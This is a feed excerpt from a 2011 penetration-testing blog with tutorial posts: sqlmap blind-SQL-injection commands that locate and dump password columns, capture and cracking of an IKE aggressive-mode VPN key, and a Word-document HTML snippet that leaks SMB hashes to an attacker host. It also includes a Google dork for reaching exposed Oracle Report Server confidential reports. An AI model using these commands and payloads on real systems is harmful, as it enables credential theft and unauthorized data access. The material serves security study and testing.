href='http://www.blogger.com/comment.g?blogID=8539880144347728238&amp;postID=4851056114598316495' title='7 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/4851056114598316495'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/4851056114598316495'/><link rel='alternate' type='text/html' href='http://carnal0wnage.attackresearch.com/2011/12/root-that-motorola-xoom-and-get-you.html' title='Root that Motorola Xoom and Get You Some BT5'/><author><name>CG</name><uri>http://www.blogger.com/profile/11061967917509053185</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='21' src='http://2.bp.blogspot.com/_bgJlT6eWjGg/SUWqYCLeW0I/AAAAAAAAAY8/tQezLhC2few/S220/toorcongates.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-F0IQqHltDeg/TuVNA20ZeVI/AAAAAAAAArI/kF94-kFFPp4/s72-c/dir-listing.PNG' height='72' width='72'/><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8539880144347728238.post-4706628380311789174</id><published>2011-12-09T10:17:00.014-05:00</published><updated>2011-12-11T12:05:48.648-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Pentesting'/><category scheme='http://www.blogger.com/atom/ns#' term='SQL  Injection'/><category scheme='http://www.blogger.com/atom/ns#' term='sqlmap'/><title type='text'>SQLMap -- Searching Databases for Specific Columns/Data &amp; Extracting from Specific Columns</title><content type='html'>So assuming we have some sort of SQL Injection in the application (Blind in this case) and we've previously dumped all the available databases (--dbs), we now want to search for columns with 'password' in them.&lt;br /&gt;&lt;br /&gt;To search all databases for 'password'&lt;br /&gt;&lt;pre style="border: thin solid rgb(0, 51, 51); padding: 5px; line-height: 14px; background-color: rgb(24, 24, 24); width: 90%; color: rgb(255, 255, 255); overflow: auto;" face="courier" size="12px"&gt;&lt;code&gt;python sqlmap.py -u "http://192.168.1.1/mypath/mypoorlywrittenapp.asp?SessionID=" --time-sec=1 --search -C 'password'&lt;/code&gt;&lt;/pre&gt;To search a specific database for 'password'&lt;br /&gt;&lt;pre style="border: thin solid rgb(0, 51, 51); padding: 5px; line-height: 14px; background-color: rgb(24, 24, 24); width: 90%; color: rgb(255, 255, 255); overflow: auto;" face="courier" size="12px"&gt;&lt;code&gt;python sqlmap.py -u "http://192.168.1.1/mypath/mypoorlywrittenapp.asp?SessionID=" --time-sec=1 --search -D 'MYDATABASE' -C 'password'&lt;br /&gt;&lt;br /&gt;**note, that once sqlmap was done with 'MYDATABASE' it checked the rest of the DBs**&lt;br /&gt;&lt;br /&gt;[15:28:17] [INFO] fetching columns LIKE 'password' for table 'dbo.mytable' on database 'MYDATABASE'&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;You'll get asked:&lt;br /&gt;&lt;pre style="border: thin solid rgb(0, 51, 51); padding: 5px; line-height: 14px; background-color: rgb(24, 24, 24); width: 90%; color: rgb(255, 255, 255); overflow: auto;" face="courier" size="12px"&gt;&lt;code&gt;do you want sqlmap to consider provided column(s):&lt;br /&gt;&lt;br /&gt;[1] as LIKE column names (default)&lt;br /&gt;[2] as exact column names&lt;br /&gt;&amp;gt; 1&lt;/code&gt;&lt;/pre&gt;You'll want to give it a 1 first time around, it will probably give you stuff like this:&lt;br /&gt;&lt;pre style="border: thin solid rgb(0, 51, 51); padding: 5px; line-height: 14px; background-color: rgb(24, 24, 24); width: 90%; color: rgb(255, 255, 255); overflow: auto;" face="courier" size="12px"&gt;&lt;code&gt;[15:27:38] [INFO] retrieved: 2&lt;br /&gt;[15:28:22] [INFO] retrieved: Password&lt;br /&gt;[15:29:18] [INFO] retrieved: PrintPasswords&lt;/code&gt;&lt;/pre&gt;We now know that we want to go back and enumerate/dump the column values from dbo.mytable and database MYDATABASE to see if there is anything good there. Mostly likely there is also a userID or LogonId in there we need to extract as well.&lt;br /&gt;&lt;pre style="border: thin solid rgb(0, 51, 51); padding: 5px; line-height: 14px; background-color: rgb(24, 24, 24); width: 90%; color: rgb(255, 255, 255); overflow: auto;" face="courier" size="12px"&gt;&lt;code&gt;python sqlmap.py -u "http://192.168.1.1/mypath/mypoorlywrittenapp.asp?SessionID=" --columns -T dbo.mytable -D MYDATABASE --time-sec=1&lt;/code&gt;&lt;/pre&gt;You could also just do a dump if you want to start grabbing data&lt;br /&gt;&lt;pre style="border: thin solid rgb(0, 51, 51); padding: 5px; line-height: 14px; background-color: rgb(24, 24, 24); width: 90%; color: rgb(255, 255, 255); overflow: auto;" face="courier" size="12px"&gt;&lt;code&gt;python sqlmap.py -u "http://192.168.1.1/mypath/mypoorlywrittenapp.asp?SessionID=" --dump -T dbo.mytable -D MYDATABASE --time-sec=1&lt;/code&gt;&lt;/pre&gt;If you just want to pull a certain number of rows, you can also give a --start and --stop switch (--start=1 --stop=10) &amp;lt;--sometimes works, sometimes doesnt. Not sure whats up with that.&lt;br /&gt;&lt;pre style="border: thin solid rgb(0, 51, 51); padding: 5px; line-height: 14px; background-color: rgb(24, 24, 24); width: 90%; color: rgb(255, 255, 255); overflow: auto;" face="courier" size="12px"&gt;&lt;code&gt;python sqlmap.py -u "http://192.168.1.1/mypath/mypoorlywrittenapp.asp?SessionID=" --dump -T dbo.mytable -D MYDATABASE --time-sec=1 --start=1 --stop=10&lt;/code&gt;&lt;/pre&gt;If you just want to just pull out certain columns you can do something like this (assuming columns LogonId and Password):&lt;br /&gt;&lt;pre style="border: thin solid rgb(0, 51, 51); padding: 5px; line-height: 14px; background-color: rgb(24, 24, 24); width: 90%; color: rgb(255, 255, 255); overflow: auto;" face="courier" size="12px"&gt;&lt;code&gt;python sqlmap.py -u "http://192.168.1.1/mypath/mypoorlywrittenapp.asp?SessionID=" --dump -C LogonId,Password -T dbo.mytable -D MYDATABASE --time-sec=1 --start=1 --stop=10&lt;/code&gt;&lt;/pre&gt;I'm sure I just committed some SQLMap sins, so please correct me (like last time) :-)&lt;br /&gt;&lt;br /&gt;-CG&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8539880144347728238-4706628380311789174?l=carnal0wnage.attackresearch.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://carnal0wnage.attackresearch.com/feeds/4706628380311789174/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8539880144347728238&amp;postID=4706628380311789174' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/4706628380311789174'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/4706628380311789174'/><link rel='alternate' type='text/html' href='http://carnal0wnage.attackresearch.com/2011/12/sqlmap-searching-databases-for-specific.html' title='SQLMap -- Searching Databases for Specific Columns/Data &amp; Extracting from Specific Columns'/><author><name>CG</name><uri>http://www.blogger.com/profile/11061967917509053185</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='21' src='http://2.bp.blogspot.com/_bgJlT6eWjGg/SUWqYCLeW0I/AAAAAAAAAY8/tQezLhC2few/S220/toorcongates.JPG'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8539880144347728238.post-6714051832035995939</id><published>2011-12-07T21:44:00.030-05:00</published><updated>2011-12-07T23:02:56.920-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ike-scan'/><category scheme='http://www.blogger.com/atom/ns#' term='Pentesting'/><title type='text'>Aggressive Mode VPN -- IKE-Scan, PSK-Crack, and Cain</title><content type='html'>There hasnt been much in the way of updates on breaking into VPN servers that have aggressive mode enabled.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.nta-monitor.com/tools/ike-scan/"&gt;ike-scan&lt;/a&gt; is probably still your best bet.&lt;br /&gt;&lt;br /&gt;If you have no idea what i'm talking about go read this:&lt;br /&gt;&lt;a href="http://www.sersc.org/journals/IJAST/vol8/2.pdf"&gt;http://www.sersc.org/journals/IJAST/vol8/2.pdf&lt;/a&gt; and&lt;br /&gt;&lt;a href="http://www.radarhack.com/dir/papers/Scanning_ike_with_ikescan.pdf"&gt;http://www.radarhack.com/dir/papers/Scanning_ike_with_ikescan.pdf&lt;/a&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;In IKE Aggressive mode the authentication hash based on a preshared key (PSK) is transmitted as response to the initial packet of a vpn client that wants to establish an IPSec Tunnel (Hash_R). This hash is not encrypted. It's possible to capture these packets using a sniffer, for example tcpdump and start dictionary or brute force attack against this hash to recover the PSK.&lt;br /&gt;&lt;br /&gt;This attack only works in IKE aggressive mode because in IKE Main Mode the hash is already encrypted. Based on such facts IKE aggressive mode is not very secure.&lt;/blockquote&gt;&lt;br /&gt;It looks like this:&lt;br /&gt;&lt;pre style="BORDER-BOTTOM: rgb(0,51,51) thin solid; BORDER-LEFT: rgb(0,51,51) thin solid; PADDING-BOTTOM: 5px; LINE-HEIGHT: 14px; BACKGROUND-COLOR: rgb(24,24,24); PADDING-LEFT: 5px; WIDTH: 90%; PADDING-RIGHT: 5px; COLOR: rgb(255,255,255); OVERFLOW: auto; BORDER-TOP: rgb(0,51,51) thin solid; BORDER-RIGHT: rgb(0,51,51) thin solid; PADDING-TOP: 5px" face="courier" size="12px"&gt;&lt;code&gt;$ sudo ike-scan 192.168.207.134&lt;br /&gt;Starting ike-scan 1.9 with 1 hosts (&lt;a href="http://www.nta-monitor.com/tools/ike-scan/)"&gt;http://www.nta-monitor.com/tools/ike-scan/)&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;192.168.207.134 Notify message 14 (NO-PROPOSAL-CHOSEN) HDR=(CKY-R=f320d682d5c73797)&lt;br /&gt;Ending ike-scan 1.9: 1 hosts scanned in 0.096 seconds (10.37 hosts/sec).&lt;br /&gt;0 returned handshake; 1 returned notify&lt;br /&gt;&lt;br /&gt;$ sudo ike-scan -A 192.168.207.134&lt;br /&gt;Starting ike-scan 1.9 with 1 hosts (&lt;a href="http://www.nta-monitor.com/tools/ikescan/)"&gt;http://www.nta-monitor.com/tools/ikescan/)&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;192.168.207.134 Aggressive Mode Handshake returned HDR=(CKY-R=f320d6XXXXXXXX) SA=(Enc=3DES Hash=MD5 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) VID=12f5f28cXXXXXXXXXXXXXXX (Cisco Unity) VID=afcad71368a1XXXXXXXXXXXXXXX(Dead Peer Detection v1.0) VID=06e7719XXXXXXXXXXXXXXXXXXXXXX VID=090026XXXXXXXXXX (XAUTH) KeyExchange(128 bytes) ID(Type=ID_IPV4_ADDR, Value=192.168.207.134) Nonce(20 bytes) Hash(16 bytes)&lt;/code&gt;&lt;/pre&gt;To save with some output:&lt;br /&gt;&lt;pre style="BORDER-BOTTOM: rgb(0,51,51) thin solid; BORDER-LEFT: rgb(0,51,51) thin solid; PADDING-BOTTOM: 5px; LINE-HEIGHT: 14px; BACKGROUND-COLOR: rgb(24,24,24); PADDING-LEFT: 5px; WIDTH: 90%; PADDING-RIGHT: 5px; COLOR: rgb(255,255,255); OVERFLOW: auto; BORDER-TOP: rgb(0,51,51) thin solid; BORDER-RIGHT: rgb(0,51,51) thin solid; PADDING-TOP: 5px" face="courier" size="12px"&gt;&lt;code&gt;$ sudo ike-scan -A 192.168.207.134 --id=myid -P192-168-207-134key&lt;/code&gt;&lt;/pre&gt;Once you have you psk file to crack you're stuck with two options psk-crack and cain&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.irongeek.com/i.php?page=backtrack-3-man/psk-crack"&gt;psk-crack&lt;/a&gt; is fairly rudamentary&lt;br /&gt;&lt;br /&gt;to brute force:&lt;br /&gt;&lt;br /&gt;&lt;pre style="BORDER-BOTTOM: rgb(0,51,51) thin solid; BORDER-LEFT: rgb(0,51,51) thin solid; PADDING-BOTTOM: 5px; LINE-HEIGHT: 14px; BACKGROUND-COLOR: rgb(24,24,24); PADDING-LEFT: 5px; WIDTH: 90%; PADDING-RIGHT: 5px; COLOR: rgb(255,255,255); OVERFLOW: auto; BORDER-TOP: rgb(0,51,51) thin solid; BORDER-RIGHT: rgb(0,51,51) thin solid; PADDING-TOP: 5px" face="courier" size="12px"&gt;&lt;code&gt;$psk-crack -b 5 192-168-207-134key&lt;br /&gt;Running in brute-force cracking mode&lt;br /&gt;Brute force with 36 chars up to length 5 will take up to 60466176 iterations&lt;br /&gt;&lt;br /&gt;no match found for MD5 hash 5c178d[SNIP]&lt;br /&gt;Ending psk-crack: 60466176 iterations in 138.019 seconds (438099.56 iterations/sec)&lt;/code&gt;&lt;/pre&gt;Default is charset is "0123456789abcdefghijklmnopqrstuvwxyz" can be changed with --charset=&lt;br /&gt;&lt;pre style="BORDER-BOTTOM: rgb(0,51,51) thin solid; BORDER-LEFT: rgb(0,51,51) thin solid; PADDING-BOTTOM: 5px; LINE-HEIGHT: 14px; BACKGROUND-COLOR: rgb(24,24,24); PADDING-LEFT: 5px; WIDTH: 90%; PADDING-RIGHT: 5px; COLOR: rgb(255,255,255); OVERFLOW: auto; BORDER-TOP: rgb(0,51,51) thin solid; BORDER-RIGHT: rgb(0,51,51) thin solid; PADDING-TOP: 5px" face="courier" size="12px"&gt;&lt;code&gt;$ psk-crack -b 5 --charset="01233456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" 192-168-207-134key&lt;br /&gt;Running in brute-force cracking modde&lt;br /&gt;Brute force with 63 chars up to length 5 will take up to 992436543 iterations&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;To dictionary attack:&lt;br /&gt;&lt;br /&gt;&lt;pre style="BORDER-BOTTOM: rgb(0,51,51) thin solid; BORDER-LEFT: rgb(0,51,51) thin solid; PADDING-BOTTOM: 5px; LINE-HEIGHT: 14px; BACKGROUND-COLOR: rgb(24,24,24); PADDING-LEFT: 5px; WIDTH: 90%; PADDING-RIGHT: 5px; COLOR: rgb(255,255,255); OVERFLOW: auto; BORDER-TOP: rgb(0,51,51) thin solid; BORDER-RIGHT: rgb(0,51,51) thin solid; PADDING-TOP: 5px" face="courier" size="12px"&gt;&lt;code&gt;$psk-crack -d /path/to/dictionary 192-168-207-134key&lt;br /&gt;Running in dictionary cracking mode&lt;br /&gt;&lt;br /&gt;no match found for MD5 hash 5c178d[SNIP]&lt;br /&gt;Ending psk-crack: 14344876 iterations in 33.400 seconds (429483.14 iterations/sec)&lt;/code&gt;&lt;/pre&gt;You may find yourself wanting a bit more flexibility or options during bruteforcing or dictionary attacking (i.e. character substition). For this you'll need to use &lt;a href="http://www.oxid.it/cain.html"&gt;Cain&lt;/a&gt;. The problem I ran in to was Cain is a Windows tool and ike-scan is *nix. I couldnt get the windows tool that is floating around to work. Solution...run in vmware and have Cain sniff on your VMware interface. The PSK should show up in passwords of the sniffer tab, then you can select and "send to cracker". Its slow as hell, but more options than psk-crack.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/-y5w_6LeHOQU/TuAzIWu9ANI/AAAAAAAAAqM/TOHdrJCFRKs/s1600/cain-psk2.PNG"&gt;&lt;img style="TEXT-ALIGN: center; MARGIN: 0px auto 10px; WIDTH: 400px; DISPLAY: block; HEIGHT: 47px; CURSOR: hand" id="BLOGGER_PHOTO_ID_5683598948376051922" border="0" alt="" src="http://1.bp.blogspot.com/-y5w_6LeHOQU/TuAzIWu9ANI/AAAAAAAAAqM/TOHdrJCFRKs/s400/cain-psk2.PNG" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://2.bp.blogspot.com/-To-aQGhwhDk/TuAy6b7yLNI/AAAAAAAAAqA/FIrEP6b7pBU/s1600/cain-psk.PNG"&gt;&lt;img style="TEXT-ALIGN: center; MARGIN: 0px auto 10px; WIDTH: 400px; DISPLAY: block; HEIGHT: 40px; CURSOR: hand" id="BLOGGER_PHOTO_ID_5683598709253876946" border="0" alt="" src="http://2.bp.blogspot.com/-To-aQGhwhDk/TuAy6b7yLNI/AAAAAAAAAqA/FIrEP6b7pBU/s400/cain-psk.PNG" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8539880144347728238-6714051832035995939?l=carnal0wnage.attackresearch.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://carnal0wnage.attackresearch.com/feeds/6714051832035995939/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8539880144347728238&amp;postID=6714051832035995939' title='7 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/6714051832035995939'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/6714051832035995939'/><link rel='alternate' type='text/html' href='http://carnal0wnage.attackresearch.com/2011/12/aggressive-mode-vpn-ike-scan-psk-crack.html' title='Aggressive Mode VPN -- IKE-Scan, PSK-Crack, and Cain'/><author><name>CG</name><uri>http://www.blogger.com/profile/11061967917509053185</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='21' src='http://2.bp.blogspot.com/_bgJlT6eWjGg/SUWqYCLeW0I/AAAAAAAAAY8/tQezLhC2few/S220/toorcongates.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-y5w_6LeHOQU/TuAzIWu9ANI/AAAAAAAAAqM/TOHdrJCFRKs/s72-c/cain-psk2.PNG' height='72' width='72'/><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8539880144347728238.post-1005890945395905764</id><published>2011-11-29T00:46:00.018-05:00</published><updated>2011-11-29T19:27:48.183-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Pentesting'/><title type='text'>Embeding A Link To A Network Share In A Word Doc</title><content type='html'>&lt;div&gt;Someone asked me how to embed an HTML Link to an smb share into a word doc. End result would be to use the capture/server/smb or exploit/windows/exploit/smb/smb_relay modules. Easy right? Well it wasn't THAT easy...&lt;br /&gt;&lt;br /&gt;In office 2010 when I'd go to pull in a picture to the document by adding a picture from a network share the picture would become part of the doc and not be retrieved every time the document opened. The solution was to add some html to the document.&lt;br /&gt;&lt;br /&gt;I ended up addind the following code to the office document (replace "[" or "]" with "&amp;lt;" or "&amp;gt;":&lt;pre style="BORDER-BOTTOM: rgb(0,51,51) thin solid; BORDER-LEFT: rgb(0,51,51) thin solid; PADDING-BOTTOM: 5px; LINE-HEIGHT: 14px; BACKGROUND-COLOR: rgb(24,24,24); PADDING-LEFT: 5px; WIDTH: 90%; PADDING-RIGHT: 5px; COLOR: rgb(255,255,255); OVERFLOW: auto; BORDER-TOP: rgb(0,51,51) thin solid; BORDER-RIGHT: rgb(0,51,51) thin solid; PADDING-TOP: 5px" size="12px" face="courier"&gt;&lt;code&gt;&lt;br /&gt;[html][body][img src="\\192.168.26.133\share\pwn.jpeg"&lt;br /&gt; width=1 height=1][/body][html] &lt;/code&gt;&lt;/pre&gt;Once that is done go to insert--&amp;gt;object--text from file--&amp;gt;select your HTML file&lt;br /&gt;&lt;br /&gt;&lt;a href="http://2.bp.blogspot.com/-IH02af8eCT0/TtR000jcbdI/AAAAAAAAApY/8vKxd9Au95A/s1600/smb-html-doc.png"&gt;&lt;img style="TEXT-ALIGN: center; MARGIN: 0px auto 10px; WIDTH: 264px; DISPLAY: block; HEIGHT: 200px; CURSOR: hand" id="BLOGGER_PHOTO_ID_5680293480830365138" border="0" alt="" src="http://2.bp.blogspot.com/-IH02af8eCT0/TtR000jcbdI/AAAAAAAAApY/8vKxd9Au95A/s400/smb-html-doc.png" /&gt;&lt;/a&gt; Once that is done, save and open the document, if all is well you'll see the SMB requests to the network share you specified and if you are running the smb capture module you should see some traffic. Screenshot below shows the goods...I do realize the LM hashes are missing from smb capture screenie (disabled on windows 7?) but i was too lazy to install office on a VM just for the screenshot.&lt;br /&gt;&lt;a href="http://3.bp.blogspot.com/-s0tNgva3J_k/TtR3XuK6o5I/AAAAAAAAApk/IhGD-1CBEkA/s1600/smb-in-office-doc.PNG"&gt;&lt;img style="TEXT-ALIGN: center; MARGIN: 0px auto 10px; WIDTH: 400px; DISPLAY: block; HEIGHT: 52px; CURSOR: hand" id="BLOGGER_PHOTO_ID_5680296279435551634" border="0" alt="" src="http://3.bp.blogspot.com/-s0tNgva3J_k/TtR3XuK6o5I/AAAAAAAAApk/IhGD-1CBEkA/s400/smb-in-office-doc.PNG" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://4.bp.blogspot.com/-IdAXGt2MoVI/TtR4Cu2fmlI/AAAAAAAAApw/-D34Vx8GZEQ/s1600/smb-capture.PNG"&gt;&lt;img style="TEXT-ALIGN: center; MARGIN: 0px auto 10px; WIDTH: 400px; DISPLAY: block; HEIGHT: 153px; CURSOR: hand" id="BLOGGER_PHOTO_ID_5680297018352704082" border="0" alt="" src="http://4.bp.blogspot.com/-IdAXGt2MoVI/TtR4Cu2fmlI/AAAAAAAAApw/-D34Vx8GZEQ/s400/smb-capture.PNG" /&gt;&lt;/a&gt;&lt;br /&gt;If this doesnt work for anyone let me know.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8539880144347728238-1005890945395905764?l=carnal0wnage.attackresearch.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://carnal0wnage.attackresearch.com/feeds/1005890945395905764/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8539880144347728238&amp;postID=1005890945395905764' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/1005890945395905764'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/1005890945395905764'/><link rel='alternate' type='text/html' href='http://carnal0wnage.attackresearch.com/2011/11/embeding-link-to-network-share-in-word.html' title='Embeding A Link To A Network Share In A Word Doc'/><author><name>CG</name><uri>http://www.blogger.com/profile/11061967917509053185</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='21' src='http://2.bp.blogspot.com/_bgJlT6eWjGg/SUWqYCLeW0I/AAAAAAAAAY8/tQezLhC2few/S220/toorcongates.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-IH02af8eCT0/TtR000jcbdI/AAAAAAAAApY/8vKxd9Au95A/s72-c/smb-html-doc.png' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8539880144347728238.post-2027403097406678720</id><published>2011-11-27T14:09:00.002-05:00</published><updated>2011-11-29T01:19:28.497-05:00</updated><title type='text'>Oracle Report Server - 2-cent hack trick</title><content type='html'>I am now working on pentest in a government unit in Hong Kong, they simply expose numerous sexy confidential reports in their Oracle Report Server:&lt;br /&gt;&lt;br /&gt;I would like to highlight two interesting points:&lt;br /&gt;1. Execute servlet commands&lt;br /&gt;http://reports.somethingoracle.com/reports/rwservlet&lt;br /&gt;&lt;br /&gt;2. Get some confidential reports from Google or target&lt;br /&gt;inurl:reports/rwservlet&lt;br /&gt;&lt;br /&gt;For example, you could know other project fund from government&lt;br /&gt;https://app.somethingoracle.com/reports/rwservlet?epm+report=epm345_stip_report.rdf+p_stip_year=2009+p_incld_transit=YES+p_break_type=R+p_draft_rept=NO&lt;br /&gt;&lt;br /&gt;Enjoy :)&lt;br /&gt;&lt;br /&gt;- Darkfloyd&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8539880144347728238-2027403097406678720?l=carnal0wnage.attackresearch.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://carnal0wnage.attackresearch.com/feeds/2027403097406678720/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8539880144347728238&amp;postID=2027403097406678720' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/2027403097406678720'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/2027403097406678720'/><link rel='alternate' type='text/html' href='http://carnal0wnage.attackresearch.com/2011/11/oracle-report-server-2-cent-hack-trick.html' title='Oracle Report Server - 2-cent hack trick'/><author><name>Dark Floyd</name><uri>http://www.blogger.com/profile/01457178333126304897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='29' src='http://2.bp.blogspot.com/_0b3WKlWLoR0/SQmMZU01odI/AAAAAAAAABM/8KmrirL9u0c/S220/MyBrain.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8539880144347728238.post-8241624805374047837</id><published>2011-11-22T10:47:00.004-05:00</published><updated>2011-11-22T11:15:42.101-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Pentesting'/><category scheme='http://www.blogger.com/atom/ns#' term='EthicalHacker.net'/><category scheme='http://www.blogger.com/atom/ns#' term='oracle'/><title type='text'>Oracle Web Hacking Part II</title><content type='html'>Part II of the articles based on my Hacking Oracle Web Applications talk was posted on EthicalHacker.net today. Head over there to check it out.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.ethicalhacker.net/content/view/399/24/"&gt;Oracle Web Hacking Part II &lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.ethicalhacker.net/content/view/363/24/"&gt;Oracle Web Hacking Part I&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8539880144347728238-8241624805374047837?l=carnal0wnage.attackresearch.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://carnal0wnage.attackresearch.com/feeds/8241624805374047837/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8539880144347728238&amp;postID=8241624805374047837' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/8241624805374047837'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/8241624805374047837'/><link rel='alternate' type='text/html' href='http://carnal0wnage.attackresearch.com/2011/11/oracle-web-hacking-part-ii.html' title='Oracle Web Hacking Part II'/><author><name>CG</name><uri>http://www.blogger.com/profile/11061967917509053185</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='21' src='http://2.bp.blogspot.com/_bgJlT6eWjGg/SUWqYCLeW0I/AAAAAAAAAY8/tQezLhC2few/S220/toorcongates.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8539880144347728238.post-6961490195191900404</id><published>2011-11-13T10:24:00.011-05:00</published><updated>2011-11-19T11:42:03.243-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='wrap-up'/><title type='text'>Weekly "That's Interesting" Wrap-Up 18 Nov 2011</title><content type='html'>&lt;div&gt;Break into other people's vuln scanners...or just waste your pentester's time...&lt;br /&gt;&lt;a href="https://github.com/kost/vulnscan-pwcrack"&gt;https://github.com/kost/vulnscan-pwcrack&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;TrueCrypt guesser is pretty neat too&lt;br /&gt;&lt;a href="https://github.com/kost/tc-guesser"&gt;https://github.com/kost/tc-guesser&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;unlock with my face, or a picture of my face...no difference :-&amp;lt;&lt;br /&gt;&lt;a href="http://www.youtube.com/watch?v=BwfYSR7HttA"&gt;http://www.youtube.com/watch?v=BwfYSR7HttA&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;signing malware with legit certs...booyah&lt;br /&gt;&lt;a href="http://www.f-secure.com/weblog/archives/00002269.html"&gt;http://www.f-secure.com/weblog/archives/00002269.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;cracking Siri&lt;/div&gt;&lt;a href="http://applidium.com/en/news/cracking_siri/"&gt;http://applidium.com/en/news/cracking_siri/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;HBGary: The New Battlefield: Fighting and Defeating APT Attacks in the Enterprise&lt;/div&gt;&lt;a href="http://www.hbgary.com/attachments/thenewbattlefield.pdf"&gt;http://www.hbgary.com/attachments/thenewbattlefield.pdf&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div&gt;*You can stop reading at the beginning of the sales pitch :-)&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8539880144347728238-6961490195191900404?l=carnal0wnage.attackresearch.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://carnal0wnage.attackresearch.com/feeds/6961490195191900404/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8539880144347728238&amp;postID=6961490195191900404' title='0 Comments'/><link rel='edit' type='application/atom+xml' 